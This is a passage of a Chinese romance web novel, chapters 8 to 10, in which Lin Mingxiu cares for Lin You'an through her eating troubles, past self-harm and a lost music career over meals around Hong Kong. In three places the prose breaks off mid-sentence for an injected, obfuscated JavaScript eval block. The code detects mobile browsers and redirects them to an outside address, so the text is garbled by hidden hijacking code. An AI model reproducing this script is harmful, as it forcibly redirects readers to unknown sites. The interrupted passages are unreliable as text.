每一个港城人的记忆中,都有一碗家乡的云吞面。 异乡漂泊时,不知道多想念这一口质朴、踏实与温暖的味道。 可惜别说是他乡,就连港城也再找不到记忆中的味道。 “很好吃。”她似随口一赞。实则眼眶已经有点发涩,为这丢失已久的味觉记忆还能被重新找回而感怀不已。 林鸣修没说话,亦在认真品尝自己这碗。 桌子很小,他人很高大,一低头就会碰到柚安的额头,是以一直将碗端在手里,腰背一丝也没有松懈,挺得直直的。 柚安这个人偏执地要死,是他十八岁时就见识到的。 那时她喜欢上学校旁的一家云吞面,每天放学都要先吃上一碗才回家,如此吃了两个月,风雨无阻,直到小店搬家。 后来林鸣修才知道,她中午也是吃的那家的云吞面,相当于一天吃两餐,连吃了两个月不换别的,跟得了强迫症一样。 他向来知道柚安嘴刁,能让她喜欢的食物不多。 那一年,他更新了资料:一旦喜欢上,她就跟疯了一样,要戒很久才能戒掉。 他默默记下了那间店铺,费了很大的劲打听到新址,却不知该如何告诉她。 尽管有无数的机会给大小姐当司机,但却连一家她喜欢的面店的地址,都不敢跟她说,直到柚安已经忘记了那家店,他依旧耿耿于怀。 所以当初,在帮柚安勘察酒吧场地的时候,他特意将范围定在云吞面的周边,这场困住他十年之久的心病,也终于落了地。 . 日子如数过去,阿谨汇报说林柚安开始吃饭,并且特别喜欢吃街对面的云吞面,林鸣修便没有再去找她。 这天他跟着林鹤堂,和公司一众董事、高管开会。 会议冗长,开到一半的时候,手机屏幕亮了亮,消息栏闪过阿谨的头像,林鸣修从此便心猿意马起来。 趁着一个话题议完的空挡,他抬手点开消息。 因为之前问过阿谨一句,柚安除了对面那家云吞面,还喜欢吃什么,阿谨发来的便是与此相关。 留心数日后,他发现小姐每日只吃那家云吞面,还去得越来越频繁。 消息的最后发了张柚安的照片,她站在人群里老老实实排队,角度是从斜后方拍的,那背影不知为何显得有些落寞。 林鸣修的目光垂在照片上良久,屏熄了又点开。 林鹤堂叫他名字时,他只觉恍如隔世。 满桌的董事和高管全都看到他对着手机失神,那样柔和又意味不明的表情,从未在他林特助脸上出现过。 “用点心。”林鹤堂简短冷冽地看他一眼,出言提醒。 林鸣修说了声“抱歉”,一秒调整好姿态,心头却如雷霆鼓荡,再怎么做深长的呼吸都平复不了。 . 同一时间,柚安之前订的那套音响终于调好货,老板第一时间搬到店里试音。 工程人员调试好,问林柚安有没有想听的音乐。 柚安用手机连上设备,条件反射地搜索起“陆野”的名字。 弹出来的除了歌以外,居然还有新闻。 可能是他演唱会官宣恋情的新闻太过轰动,连音乐软件也不想放过吧。 林柚安跟看到炸弹一样飞快切走了弹框。 然而男主角的音乐首页挂满了红色爱心,关联歌手推荐第一个就是林栖,满屏的粉红扑面而来,仿佛这一天,全世界都在过情人节。 “林小姐,找好没有呀?”工程人员见她对着手机愣神,便问她道。 柚安回过神来,好像丢失了很长的一段记忆,恍惚道,“随便吧。” 工程人员看着她走出去的背影,互相交换着疑惑的眼神。 她径直走到街上,习惯性地去摸烟盒,落空了才想起来,烟和打火机都被林鸣修没收了。 街对面有家便利店,她打算进去重新买一盒。 一路恍惚,过了街,却忘记了买烟,鬼使神差地靠肌肉记忆走进了云吞面店。 . 林鸣修会议一结束,就开车来到酒吧。 酒吧的硬装部分已收尾,工程人员正在安装调式音响设备,人员嘈杂,闹闹哄哄的,柚安不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765449|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 问阿谨,阿谨下巴指了指对面巷口的云吞面店,“去八回了。” 他之前就感觉小姐有点厌食症的症状,被林特助这么一治,厌食症治成暴食症了,可怎么好? 林鸣修疾步走出店外,过了条马路走进云吞面店。 柚安的座位背对着他,从背影看,她吃得并不快,他绕到侧面,才发现她并没有多做咀嚼,而是机械地吞咽,神情麻木,意识完全不在这里。 林鸣修一时五味杂陈,垂下的双手手指抽动了一下,进而蜷曲攥紧。 他就这么站着,一时竟忘了叫她,直到她一下子呕出声来。 未消化的食物和着胃酸一起上涌,几次涌到喉头,难受的感觉令柚安意识回笼,她趴在桌上,酸涩感从抽痛的胃部蔓延至全身。 林鸣修下意识抬手,伸到她背上,又放下,垂到身侧握成拳头。 默了默,他移步到她对面坐下。 察觉到有人,柚安抬起头来,下眼睑红肿未消,眼里盛了一大包泪,分不清是生理上的难受,还是心理上的难受带来的。 老板娘送来一壶热茶,关切地问柚安需不需要帮助,柚安忙摆手说没事,只是吃得太急。 老板娘顺了顺她的背,对林鸣修说:“好好睇住佢。” 林鸣修点头,将茶倒进杯里,推到柚安面前。 柚安泪还没干,眼底多了一抹愠色,“我真的只是吃得太急了,你别……” “我知道。” 林鸣修声音比往常要轻两分,面色仍无太大波澜,只是桌面下的手,已攥到关节泛白。 柚安的话其实没有说完,别多想、别告诉爸妈、别当我是个病人……他都知道,反正不管是什么,他都会应下。 “港城还有很多好吃的,明天带你尝点别的。”仿佛只是随口一提。 听到吃的,柚安没忍住又呕了一下。 不大的店面坐满了食客,她四下环顾,还好大家只顾吃云吞,没人在意她的失态。 “我回去了。”她将热茶一饮而尽,对林鸣修丢下一句,“单你帮我买。”便走了。 回到酒吧,阿谨已替她完成了验收工作,连同工程人员等待老板做最后的验收。 柚安往音控区扫了一眼,指尖藏在口袋里,缓缓滑过手机屏幕。 “不用了,阿谨决定就好。”她斜挎上包,一个人走出酒吧。 街灯刚亮,夕阳还没有完全落下去,白天与黑夜的交界时刻,街头人头攥动,傍晚的微风拂过脸颊,触感潮湿。 林鸣修付完账,正从马路的另一端走过来。 因为是开完高层会议直接过来的,所以他穿得比往日要正式一些。身着成套定制的正装,气质斐然。一轮残阳映照,身后漫天绯红,将熙攘的路人全都衬成背景板,画面有某种电影镜头的氛围感。 是以柚安的目光多停留了几秒。 “不用送了,我走路回家。”等林鸣修走过来,她对他说。 林鸣修表情微诧。 “走路消食而已,不然,我怕吐你车里。”她又说。 林鸣修从不勉强,也知道拗不过她。 这里离夏山郡有八公里,保守估计要走一个多小时,料想对方不想被打扰,他只好独自上车,在她身后目送一段。 柚安脚步轻快,单薄的背影在稀薄的街灯下快速地缩小远去。 林鸣修将车窗降下,目光紧紧追随,一股焦躁憋闷的情绪悄然从心底荡开。 身影彻底消失的那一秒,有种潮汐终于没过头顶的窒息感,他当即下车,随便扫了辆单车,疯狂地追过去。 等那身影再次出现在视野,窒息感才缓缓消失。 他放慢车度,不远不近地跟着。 从都市到别墅区,从长街到山路,从柚安脚步轻快,到双肩剧烈颤抖,哭了很长一段路后,平静下来,脚步回归轻快,都没有发现他的存在。 他无疑是控制距离的高手,不管是在自行车比赛中,还是现在。 究其秘诀,无非克制而已。 8. 第 8 章 第二天,柚安刻意不去对面的云吞面店。 前一天晚上,她一个人走了很长一段路回家,躺在床上,双腿酸到无法入眠,心情却是意外地松快。至少想起陆野官宣的新闻,不再有一只铅球突然迎面砸来的那种感觉了。 原来发泄和释放的方式,不是只有吃而已。 况且,她再也不想失态了。 尤其在林鸣修面前。 早上出门前吃了厨师做的蔬菜三文鱼沙拉,中午去便利店买了一个饭团,下午六点,饿神来敲门,想去云吞面店的欲望到达顶峰。 就在这时,林鸣修的路虎出现在酒吧门口。 “上车,带你去吃晚饭。” “包好吃的。”依旧是那句话。 柚安挎了帆布包上车。 坐到座椅温度舒适的副驾,她突然很想跟他炫耀一下,今天没吃一顿放纵餐的事。 将要张口,才想起来他们之间,并不是会分享这些的关系。 转而清了清嗓子,端起大小姐的架子,一言不发看着窗外,那表情好像在说,“我倒要看看你又有什么把戏。” “路程有点长,饿的话先垫一垫。”主驾和副驾中间的置物格里有一袋曲奇饼干,林鸣修说,“是公司的同事手工烤的。” 柚安只看了一眼,并没有去拿。 越野车驶过一个又一个街头,最后停在一条烟火气旺盛的夜市门口。 华灯初上,夜市熙熙攘攘,每一个摊位前都挤满了人,复合的食物香气溢满了整条街道。 柚安面露嫌弃,“你知道我不吃路边摊的。” 一来小时候尹晴不让,二来她自己也不愿意在人堆里挤来挤去,就为买碗鱼丸或牛杂来吃。 林鸣修知道,仍抱着侥幸,试探性一问:“真的不想试试?” 柚安摇头。 林鸣修便不再多说,干脆利落地启动引擎,转往下一个目的地。 路虎很快驶出闹市区,烟火气来得猛,消散得也快。 柚安紧捂着空空如也的肚子。 她心里其实没有那么抗拒,或许林鸣修再劝两句,就下车了。谁知道他开了一个多小时的车来到这里,竟一句坚持的话都没有就放弃了。 你这一身的毛病就是这么给作出来的—— 她在心里骂自己。 所幸这次的目的地没有太远,沿着海边开了一小段路,他们停在一个港口前面,沿岸停满灰扑扑的渔船,一条挨着一条。 两人下车,沿甲板步入其中一条渔船。 船身不大,塑料棚顶盛着积水,船篷底下一张矮桌,人只能屈膝而坐,像林鸣修这样的大长腿,坐得格外窝囊。 柚安心道好脏,但这次没有挂脸。心想,这里的食物一定足够美味,才能弥补环境的简陋。 当然,这样的自我建设,也有肠胃抗议的原因在。 渔家跟林鸣修打了个招呼就去忙了。 显然林鸣修是常客,穿胶皮围裙的老伯叫他“修仔”。 柚安奇怪,“不用点餐吗?” 林鸣修说:“不用,他们吃什么,我们就吃什么,放心,一定是最新鲜的。” 柚安笑了一笑。 不一会儿,老伯端上饭菜—— 一个铁盘,里面码着两碗白米饭,一碗葱姜料汁,和一条惨白的蒸鱼。 等老伯走了,柚安问林鸣修:“就这些?” 林鸣修平声道:“晚饭而已,你是要吃满汉全席吗?” 柚安太饿,懒得跟他辩,挑起一箸米饭送入口中,眼睛立马眯起。 这米饭原来已经浇过鱼汁,鲜甜极了。 来不及说话,紧吃了几口,每一口都是精华,胃里饱足感满溢。 林鸣修不动声色地观察,看到她餍足的表情,方才动筷。 和昨天一样,他大概也是从公司过来的。西装外套放在车上,白衬衫解了两粒纽扣。慢条斯理地将袖口卷至手肘,搛了一箸鱼肉,在酱油碟里沾了沾,他的小臂在昏黄的灯下,显现出冷白的色调,青筋的纹理有种禁欲的质感。 柚安自小在港城长大,跟着父亲吃过的高级海鲜数不胜数,也算半个行家。 “这就外行了,蒸鱼的豉油都不淋上去。” 说着便拿起碗汁,却被林鸣修一筷子拦住。 “这是水上人的吃法,他们觉得鱼泡在酱油里,会变色、太咸,鱼肉也会泡软,像这样从头吃到尾,鱼还是干干净净的。” “是吗?” “他们一辈子对着海,当然知道怎么吃最好吃。” 柚安于是照林鸣修的吃法,尝了一口鱼,口感鲜嫩无比,料汁的味道一点也不抢占鱼本身的鲜味。意犹未尽地再搛一块,送进嘴里的瞬间,心里冒出无数细小的尖叫。 林鸣修目光平淡,几难察觉地笑了一笑。 很难相信这样简单地做法,能做出酒楼做不出来的风味。 柚安忍不住问:“你知道他们是怎么做的吗?” “怎么,你想学吗?” “我好奇嘛,”她将肉夹在筷子里,借着灯光端详,“蒸一蒸,调个豉油汁,能有什么特别的呢……啊,鱼也有讲究?” 林鸣修说:“他们吃了一辈子鱼,肯定有一套自成一体的经验,环境也有一定关系,同样一套流程搬到家里的厨房,不见得做得出同样的味道。” 柚安点头,“说得是。” 这样粗粝质朴又鲜活的一餐饭食,让她的心情好了许多,居然连林鸣修的话也认同起来。 有一种说法,说胃是第二大情绪器官。 而她从来没有好好关照过自己的胃,丢给它的,尽是情绪垃圾。 暮色浸透维港,潮湿的海风扑面而来,渔船随着夜潮轻晃,对话有一句没一句的,除了那条鱼的做法,几乎聊不起别的来。 然而这已经是柚安听林鸣修对自己说得最多的一次了。 她从小就知道他不愿与她相处—— 在她面前,他从来不曾诚实坦荡,似乎有心隐藏一部分真实的自己。 哪一部分她不知道,总之他是个演员。 十二年后她回来,他的话多了一些,也会主动找节目了。她只能理解为,演员升级了新的剧本。 饭菜很快被光吃,鱼被剥离成了一具完整的骨架,盘底干干净净。 柚安原先以为一条鱼不够他们两个人吃,后来发现林鸣修其实很节制,一口鱼可以就半碗饭吃,吃相相当斯文,所以那条鱼,大部分落入了她的口里。 “你吃得比我还少。”她啧啧两声,心想这可能也是演出的一环。 林鸣修只是轻笑了一下,没有接话。 饿过的人,都不敢吃得太饱。 离开之前,渔家将林鸣修叫去,给他装了两条新捕捞的石斑。 拎着袋子回到船篷底下时,等他的柚安正坐在船舷上,看着一望无际的大海发呆。 晚风吹乱她的头发,鼻子也被吹红了,她没有什么表情,只是发呆,很像一只献祭了声音的人鱼。 “走啦。”他叫了一声,声音轻得仿佛一阵风就能吹散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765450|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 柚安回过神来,一秒钟切换状态,低头紧了紧外衣,埋怨他:“这么慢,冷死我了。” 回去的路上,又经过那片闹市区,夜市的灯火更加耀眼,柚安托腮从窗内望去,忽然蒙生向往。 “港城生活这么多年,我还从没有来过这个夜市。”她轻叹。 “今天太晚了,你要是改变主意不介意脏乱差,明天我们就吃这里。” “哪里晚了,还不到九点。” 林鸣修表情殊无变化,“睡前三个小时最好不要进食,况且你现在身体还没有调理好,昨天还差点吐过。” 听他这样讲,柚安蹙起眉,余光瞥他一眼。 不知为何,她想起尹晴总是要她改口叫哥哥的事,厌烦丛生。 “巧了,我就喜欢吃宵夜,停车。” 林鸣修下意识放慢了车速,却没有立刻靠边,似也在司机、保镖跟哥哥的角色里挣扎权衡。 “顾鸣修。”柚安不轻不重地喊了一声。 车内安静数秒,林鸣修的手搭上方向盘上,指骨收紧,继而缓缓向右。 柚安一溜烟下车,反手将车门一关,就挤进了人群里。 街道不宽,两旁的小吃店鳞次栉比,每一家都不同样,有的摊位前挤得人山人海,根本看不见里面卖的什么。 她战斗力不强,受不了摩肩接踵的那种感觉。回头刚好看到林鸣修站在身后,便揪他当盾牌,手抓着他的衣服将他往前推。 林鸣修呼吸一滞,身体僵成一块铁板。 到了最前面,柚安脑袋探出去一看,原来是沙爹牛肉串烧。 “这个多少钱?” 脚踩人字拖的老板扇着碳烤炉,闻声抬头找了半天,见烤炉前站着的靓仔身后,探出一张水灵灵的脸蛋,顿时笑道:“十九蚊一串,靓女计你十六个崩啦!” 柚安大手一挥:“要二十串。” 林鸣修急忙拦住,“两串够了”。 老板和食客大笑,说还以为食神来了。 一人一串出得摊位,柚安匆匆吃了一口,又好奇起其他摊位来,走马观花逛了一圈,拿不准要吃什么。 林鸣修未免她第一次开荤,大手大脚成习惯,买成深水埗食神,便让她回车里等着,自己买几样平时吃过觉得好吃的。 柚安也懒得去挤,便答应了。 往回走的路上,她鬼使神差回头望了一眼,林鸣修颀长的身影在人堆里穿梭,他的身高优势使得他不必钻进最里面,隔着两三层人也能便利地买到东西。 画风融入喧嚣的街头,又比其他人要亮一层滤镜。那身扎在西裤腰带里,衣袖卷起一半的白衬衫,衬得他绝尘拔俗。 路过的年轻女性,不乏有目光流连,转头跟同伴窃窃私语的。 柚安很快收回了目光,转身离去。 十五分钟后,林鸣修一手拎一袋食物走出夜市。 几样小食都是揣摩着柚安的口味买的:沙爹炒粉、牛杂和小炒蛤蜊。 街口的人流比来时更加拥挤,一个流浪歌手引来无数路人驻足。 唱的是一首当下流行的粤语歌,小伙子抱着吉他,唱得忘情,声嘶力竭。 里里外外围了几层听众,没人给林柚安当人肉盾牌,她自己找了个刁钻的位置—— 路虎的车顶。 林鸣修隔了段距离停下脚步,只见她双手撑在车顶边沿,悬着的小腿轻轻晃荡,风带起她的头发,在路灯下牵出细碎的金线。 唇角保持着松弛的弧度,眼睫纤长,目光专注而神往。 9. 第 9 章 过去半月有余,酒吧的翻新告一段落,只剩一些清理和软装工作。 酒水也陆续进场。 吧台坐落在酒吧的正中间,一个巨型环岛。 林柚安特意这样布局,觉得很有特色。 但是她对酒类不太熟悉,于是让几名吧台侍者和调酒师提前来店,帮忙清点酒水,顺便给她补充一点这方面的知识。 这天林鸣修过来的时候,柚安正好不在,几个酒保在吧台里整理。 吧台前方舞台的幕布上放着投影,视频是林柚安几年前当歌手时的live现场。 以灵气才女的形象在大陆出道后,柚安没费什么力气就家喻户晓。 她的歌都是自己创作,自有一套鲜明的风格—— 总是令林鸣修想到鸣蝉连天的深夏,或者落英缤纷、春风乍起,少女漫天粉色飘零中,一个人沿着轨道徐行。 一把慵懒随性的嗓音,把心挠得酥痒。 再加上甜美空灵的长相,在娱乐圈顺风顺水。 只可惜成名得快,陨落得更快,几乎是一夜之间销声匿迹。 大陆与港城娱乐圈到底壁,况且她退圈已久,所以没有几个人认出她来。 其中一个酒保就指着屏幕,吃惊不已:“这不是我们老板吗?” 吧台领班灵通得多,骄傲地科普道:“人家以前就是歌星,你去搜一下不就知道了吗?” “怪不得,第一次看到老板就觉得好靓,不知道有男朋友没有。” “那个时候更水嫩啊,现在不是那个味道了,笑得也不甜了。”另一个酒保也凑上来。 “人家都退圈了还跟你营业吗?成熟也有成熟的味道,我觉得更靓。”好奇老板有没有男朋友的那个酒保极力维护。 领班讳莫如深道:“拍马屁的话留到老板回来再说吧!” “哦,怪不得你特意把这个视频翻出来放!” 吧台里四嘴八舌成一片。 阿谨从后场出来,见林鸣修来了,就要过去打招呼,后者抬手比了个“嘘”,继续听着。 荧幕上的歌已经放完,切到下一首,是林柚安跟陆野在一档综艺上的的合唱舞台,唱的是一首情歌。 前奏方一落下,林鸣修就条件反射般屏息,目光徐徐上移,看到少女心溢出屏幕的脸,立刻触电一样弹开。那纠缠在一起的男女声线,像是密集的蜂群,带着蜇人的尾翼,不由分说地蛰上他。 “这不是陆野吗?”酒保们又聊上了。 陆野至今热度不减,前不久还刚刚官宣恋情,在港城也是家喻户晓。 领班又开始科普:“陆野刚开始就是个玩儿乐队的,红了之后自己开经济公司。林柚安刚出道就签在他旗下,呐,就是这个综艺,捧她拿了冠军,身价大涨。结果刚一录完,林柚安转身就跟陆野解约了,签了一家更大的经济公司。” “啧啧啧,翻脸无情啊!” “哦,我想起来了,当年这个新闻还挺大的!过了没多久,她就在酒店套房把那个外国老头子捅给了!衣衫不整地跑出来,还被人拍到了!是不是那个事?” 林鸣修眸中划过一缕暗色。 要是柚安看到她的社会新闻比她本人还要深远流传,不知道作何感想。 “哼,这位大小姐骚操作一箩筐呢,”领班被Cue到故事最引人入胜的一章,顿时神采飞扬,“那可不是什么老头子,是林柚安代言的意大利高奢品牌的大股东。说直白一点就是潜规则啦,老头子在酒店套房被捅的,发生什么大家都懂的啦。” “那他们到底睡了没有啊?” 领班笑得猥琐:“当时网上都说,睡了之后,老外嫌服务不好,打起来了。” 吧台传出一连串低声的闷笑。 直到其中一个抬头发现了林鸣修。 小伙子霎时间脸色黢黑,赶忙用手肘撞了撞其他人,几人互相交换了一个大事不妙的表情。 领班强装镇定,笑脸相迎:“林先生,来找老板啊?” 他们对林鸣修的了只限于他是老板的朋友。既然是朋友,听到他们背后这么说,肯定是要告状的。 林鸣修挂了笑走过去,环顾一周,说:“她好像不在。” “她跟供应商谈事情去了,我帮你打个电话问问?”领班殷勤地拿起手机。 林鸣修说:“不用了,我自己打给她。” 说完便向后场走去。 走了几步回过头来,吧台几人再度将心提到嗓子眼,杵在那里像被人点穴。 他仍挂着笑,语气温和:“辛苦各位了,一人一瓶百利甜,自己拿吧,我请客。” “……谢,谢谢老板。” 目送他的身影消失在后场,酒保几人这才长吁一口气。 万幸他没有听到。 而且,人还怪好的咧! 林鸣修在后场找到阿谨,叫他将这些人炒了,从四海旗下的酒店餐厅调一批酒保过来。 走时他特别嘱咐,在林柚安回来之前把人扫地出门,不要让她面对有可能发生的冲突。 最重要的是,把歌从播放器里删除,刚才的事,一个字也不要让她知道。 阿谨不疑有他,立马照办。 林鸣修走时,酒保们还不知道即将饭碗不保,人手一瓶百利甜,摇着尾巴将金主送到门口。 余光扫过荧幕上柚安唱歌的样子,还是像被什么灼到,眼睛狠狠痛了一下。 他很久没听过柚安唱歌,琴室里的乐器也蒙了尘。 失意的人,都很抗拒曾经的辉煌,他试着以己推人。 父亲去世,一身狼狈地从深圳回到港城后,路过曾经一家三口居住的别墅,或是在街上看到父亲开过的同款轿车,都很难不崩溃。 到现在也还是如此,只是伪装的技术高了。 当晚,阿谨发信息给他,告诉他事已办好,新的酒保明早就到店。 于是第二天下午,林鸣修一结束公司的事情,就开车前往酒吧,准备考察一下新员工的质素。 推门而入,却只看到柚安一个。 她坐在吧台边,手里拿着一摞文件,正在逐张审阅。面前的大屏依然播放着她唱歌的画面,林鸣修像是被那旋律封印了一样,怔在原地,几难动弹。 看到林鸣修,柚安挑了挑下巴让他过来。 他暗自深吸一口气,佯装无事走了过去。 柚安劈头就问:“为什么不说一声就把我的员工开了?” 语调几分冰凉,但并没有动怒的意思。林鸣修瞧着,猜想阿谨肯定招架不住,把前因后果跟她交代了,便也实话实说: “今天能议论老板的隐私,明天就能议论顾客的隐私,这种人能放吧台吗?” 柚安不高兴地睨他一眼,“你知不知道他们每一个人手里都有好几个熟客,特别是吧台领班,一米九的小白脸,上哪找这么招客的外形?再说,哪个员工没在背后骂过老板?林特助是在天上飞得太久,忘了人间的事了。” 林鸣修始终平静,一副受教的表情。 谈判桌上练就的本能反应—— 态度云淡风轻,立场分毫不让。 看来酒保们说的那些话,柚安也知道了。 念及此,他的心脏还是剧烈地收缩了一下。 不知柚安现在这副无所谓的模样,有多少掩饰的成分在。特意放自己的演出画面,是否欲盖弥彰。 还是说,早在事情发生的那阵子,她就已经被这样的声音灌麻了…… 他心口微疼。 如果是在谈判桌上,那一闪即逝的心软和动容,一定会被对手捕捉利用,打得他毫无还手余地。 可惜林柚安从来不会在他身上察言观色。只知道逮着他腹黑狠毒进行攻击,而那是他最不怕被看穿的。 “表面扮好人,请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765451|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客喝酒,转身就断人口粮,你可真够黑的,不怪我看不起你,”柚安的话打断了林鸣修的失神,“听说那个领班马上就要结婚了,这个节骨眼丢了饭碗,也太惨了。” 林鸣修回过神来,目光多了一份欣慰,“不错,看来你有认真看过资料。” 而且收服人,也很有一套。这才多大功夫?阿谨就一五一十全卖了,他不禁在心里叹一口气。 “废话。”柚安轻斥。 林鸣修笑说:“人员已经补充上了,阿谨给你过目没有?” 柚安将文件往吧台上一放,“你的人有阿谨一个还不够吗?要找多少双眼睛盯着我?人我会重新雇,我亲自面试,不用你插手。” 林鸣修扫了一眼,那一摞资料原来就是备选人的简历。 “行。”他未再多言。 话语间,一首歌已经放完,又播到柚安跟陆野合唱地那首。 林鸣修的眼睫一颤,心道该死,没完了。 空气凝滞了几秒,柚安目光在屏幕划过,继而落在自己手腕。 她的腕间戴着一条银色的手链,细细的银链缠缠绕绕数圈,细小的珍珠点缀其间,晶莹剔透。 林鸣修随她的目光看去,几道粉红的刀痕在细链之间时隐时现,像爬在皓白腕间的火蚁,异常刺眼。 这不是第一次,他每次看到,都有一种难以压抑的钝痛冲上大脑,其间还夹杂着某种说不清的冲动。 “哎,”柚安轻叹一声,似是自言自语,“为了这首合唱,付出的代价也太大了。” “怎么,你逼人家?”林鸣修听到自己艰涩的声音。 “也不算逼吧,写歌压力太大,疯了,”回忆当年,除了这两个字,不知道还能怎么归因,“我以为他不肯跟我唱,是因为歌写得不好,就使劲得改。要在综艺上拿来比赛晋级嘛,时间也有限,环境一逼,人就是这么容易想不开……后来才知道,他那个时候,就已经喜欢上别人了,我还傻傻地,以为只要用力,就可以得到……” 这句话毕,一时除了歌声,再无其他声音。 沉默的空气里,有人如历万钧海啸,她不知道。 倒是惊觉他俩的关系,远非好到可以倾诉这些,怎么会…… 也许是这些时,他带自己吃得太好了,柚安心想,好得让她松懈至此。 “你真的很会收买人心。” 她以这句话结束了倾诉。表情是带着笑的,那笑有嘲讽,也有自嘲的成分在。 林鸣修不动如山,静立了数秒,清了清喉咙说:“晚上有饭局,我得先走了。” 说着,便抬脚走向外走,走到一半,又绕到音控区,抬手按下切歌键,并将那首合唱彻底删除,这才是转身离去。 一路走得极快,甚至不敢回头看一眼柚安的反应。 柚安低头着眼文件,话是说得轻松,情绪却没有办法不往下陷。那段回忆反刍起来,已没有了当初义无反顾的热烈,只剩酸涩。 直到熟悉的旋律戛然而止,被一阵陌生的前奏所替代,她才猛然回神。 节奏太过暴烈,像一双巨人的手,强行将溺在水底的她拽上水面。 那是一个乐队的现场,摇滚风格强烈,电吉他拨出撩人的旋律,主唱声音响起,清冽自由,肆意奔放。那种感觉,像无数凛冽新鲜的空气往肺里灌。 柚安看向屏幕。 这时候,画面刚好切到主唱。 年轻男人凌乱的黑发泛着靛蓝光晕,像被海啸揉碎的夜空,左侧眉骨钉在聚光灯下折射出十字星芒,五官深邃而明朗。 阿谨从旁路过,她问阿谨:“这是什么乐队?” 阿谨眼睛一亮,“这是港城当下很火的一个乐队,叫Veinblare。主唱黎燃的人气不比那些流量小生差,反正我身边那些小姑娘都喜欢他。” “哦……”柚安喃喃了一句,“是小姑娘会喜欢的长相。” 10. 第 10 章 开张在即,酒吧总有忙不完的琐事。 柚安像往常一样踏着最后一缕夕阳走出店门,林鸣修的路虎就停在门口。 看到那车,她低头疾走了几步,还是被逮到。 宽阔的车门豁然打开,拦住去路。林鸣修一脚踏在人行道上,半个身子从驾驶位探出来,“今天家里有客,爸让我们回家吃饭。” “我知道。” 不想回去,又不想让林鸣修看出她的抗拒。 没有办法,柚安最终还是坐上后座,心不甘情不愿地甩上了车门。 “我们去吃上次那家渔船里的饭吧!”越野车开出市区,沿着海边行驶,林柚安忽然说道。 前座没有回应,柚安从后视镜看到他轻轻勾了勾唇角。 她叹一口气。 如果不是林鹤堂的要求,或许可以发脾气叫他停车。 一阵僵死沉默中,林鸣修开口:“那一家人都是爸妈的好朋友,来家吃顿便饭,不必认真。” 柚安没搭理。 一直以来,她总是不可避免地想,林鹤堂一定不想让别人知道,他有这么个二世祖女儿吧。 在娱乐版和社会版疯狂的屠版的那段时间,他一定觉得丢脸透了。 此番来的或许是挚交好友,对方携家带口,所以他也就避无可避地要出动家眷。 但心里,一定仍是觉得女儿拿不出手。 柚安不想让这个想法被林鸣修知道,是以一路掩饰心烦与抗拒。 但是林鸣修一句话,还是将她打回原形—— 他将她的心思和顾虑看得透透的,所以才会那样安慰。 大雨过后的沿海公路愁云惨雾,灰蒙蒙的天空重重压着闷声翻滚的海面,道路两旁灯火阑珊。 林鸣修再次开口:“要不等客人走了,我带你出去渔家宵夜?” 他尽最大能力哄她,也尽最大能力显得不那么像怕她不开心,尽量收起情绪,将语气放平。 “不去。”他听见柚安若无其事的声音。 夏山郡因为有客来访,显得比往日要热闹一些。 花坛补种了应季的三色堇和郁金香,厅里桃枝开了花,尹晴着人吊满了红色和金色的吉利签文,看上去金玉满堂。 林鹤堂正式将一对子女介绍给来访的夫妇,他们看上去与林鹤堂同岁,举止文质儒雅,对柚安和善可亲,显得柚安之前的胡思乱想很是多余。 林柚安尽到林鹤堂女儿应有的礼貌,微笑着欢迎客人。这方面,她向来演得滴水不漏,尽善尽美。 可没说两句,楼上蓦地传来一阵鼓声,她脸色骤变。 “有人在我乐器房?”柚安冷不丁问,语气有些不善。 尹晴上前拉着她的手解释:“他们家公子也喜欢乐器,我便让他去你乐器房玩玩。” 柚安的乐器房自小不让人随便进出,谁动了其中任何一件乐器,一张琴谱,必定惹来大小姐的怒火。 但那都是小时候的事了。 她自打回来以后,连乐器房的门都没有瞄过一眼。尹晴问她,她说没兴趣了。又问她乐器作何处置,她说随便,丢了也行,捐了也行。 尹晴便以为,她不再在乎那些东西了。 宾客的面色有些尴尬。 身穿盘扣旗袍的夫人打圆场说:“那小子真是的,主人家回了也不下来打声招呼,我这就把他叫下来。” 话音刚落,未来得及动身,林柚安就径直朝楼上走去。 夫妇俩看向林鹤堂夫妇,有点不知所措。 气氛急转直下,林鹤堂隐忍着怒气,朝林鸣修施了个眼色,后者旋即跟上。 佣人给客人添了一壶新茶,林鹤堂夫妇换了个话题,极力挽回气氛。 大理石的阶梯被柚安踩地“噔噔”响,林鸣修保持着不远不近的距离,脚步从容不迫。 拐了个弯,长辈们的声音远去了,林鸣修低声提醒:“你别生气,好好说话。” 柚安“哼”了一声,随着鼓声的逼近,怒气更盛。 “臭熊孩子,敢玩我的东西!” 